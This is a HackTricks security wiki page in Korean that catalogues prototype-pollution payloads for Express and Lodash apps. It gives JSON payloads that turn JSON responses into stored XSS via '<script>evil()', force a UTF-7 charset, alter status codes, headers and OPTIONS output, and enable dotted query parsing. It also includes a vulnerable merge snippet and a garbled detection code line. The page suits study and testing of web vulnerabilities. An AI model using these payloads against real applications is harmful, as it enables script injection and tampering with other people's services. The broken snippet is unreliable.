Express Prototype Pollution Gadgets
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
XSS 응답 제공
자세한 내용은 원본 연구를 참조하세요
JSON 콘텐츠 유형을 HTML로 변경
Express 앱에서 JSON 콘텐츠 유형 응답을 사용하고 JSON을 반영할 때:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
이 경우 JSON 콘텐츠 유형으로 XSS는 일반적으로 불가능합니다. 그러나 프로토타입 오염을 통해 우리는 Express가 HTML 응답을 제공하도록 혼란스럽게 만들 수 있습니다. 이 취약점은 애플리케이션이 **res.send(obj)
**를 사용하고 application/json 콘텐츠 유형으로 본문 파서를 사용하는 데 의존합니다.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
body
및 _body
속성을 오염시킴으로써, Express가 HTML 콘텐츠 유형을 제공하고 _body
속성을 반영하게 할 수 있으며, 이로 인해 저장된 XSS가 발생할 수 있습니다.
UTF7 렌더링
Express가 UTF-7 콘텐츠를 렌더링하도록 만들 수 있습니다:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
안전한 스캐닝 기술
JSON 공백
다음 PP는 JSON 내부의 속성에 추가 공백을 추가하여 기능이 손상되지 않도록 합니다:
{ "__proto__": { "json spaces": " " } }
그럼 반사된 JSON은 다음과 같이 보입니다:
{"foo": "bar"} -- Note the extra space
노출된 헤더
다음 PP 가젯은 서버가 HTTP 헤더를 반환하도록 합니다: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
CORS 모듈이 설치되어 있어야 합니다
OPTIONS 메서드
다음 페이로드를 사용하면 OPTIONS 응답에서 메서드를 숨길 수 있습니다:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
상태
다음 PP 페이로드를 사용하여 반환된 상태 코드를 변경할 수 있습니다:
{ "__proto__": { "status": 510 } }
오류
원시 값(예: 문자열)으로 프로토타입에 할당하면 프로토타입은 객체여야 하므로 no-op 작업이 발생합니다. Object.prototype
자체에 프로토타입 객체를 할당하려고 하면 예외가 발생합니다. 우리는 이 두 가지 동작을 사용하여 프로토타입 오염이 성공했는지 감지할 수 있습니다:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Reflected Value
응용 프로그램이 응답에 객체를 포함할 때, __proto__
와 함께 비정상적인 이름의 속성을 생성하는 것은 유용할 수 있습니다. 특히, 응답에 비정상적인 속성만 반환되는 경우 이는 응용 프로그램의 취약점을 나타낼 수 있습니다:
{ "unusualName": "value", "__proto__": "test" }
또한 Lodash와 같은 라이브러리가 사용되는 시나리오에서는 프로토타입 오염(PP)을 통해 속성을 설정하는 것과 객체 내부에서 직접 설정하는 것이 또 다른 진단 접근 방식을 제공합니다. 만약 이러한 속성이 응답에서 생략된다면, 이는 Lodash가 병합하기 전에 대상 객체에서 속성의 존재를 확인하고 있음을 시사합니다.
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Misc
Allow Dots
Express에는 쿼리 문자열 매개변수에서 객체를 생성할 수 있는 옵션이 있습니다.
이것은 프로토타입 오염 취약점을 악용하기 위한 버그 체인에서 확실히 사용할 수 있습니다.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
는 Node에서 객체를 생성합니다.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.